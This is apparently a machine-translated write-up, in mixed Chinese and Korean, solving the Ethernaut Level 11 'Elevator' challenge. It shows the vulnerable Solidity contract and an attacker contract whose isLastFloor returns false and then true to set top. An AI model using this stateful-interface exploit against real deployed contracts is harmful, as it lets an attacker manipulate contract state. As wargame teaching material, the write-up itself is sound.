Ethernaut系列-레벨 11(엘리베이터)
레벨 11(엘리베이터):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
通关要求
상단=참
要点
逻辑错误,设置top不能再调用外部
解题思路
isLastFloor第一次返回false,第二次返回true
계약/11Elevator.sol
bool firstCallLastFloor = true;
function run(address _levelAddress) external {
ILevel(_levelAddress).goTo(1);
}
function isLastFloor(uint _floor) external returns (bool) {
if (firstCallLastFloor){
firstCallLastFloor = false;
return false;
}else{
return true;
}
}
Reference
이 문제에 관하여(Ethernaut系列-레벨 11(엘리베이터)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-11elevator-571o텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)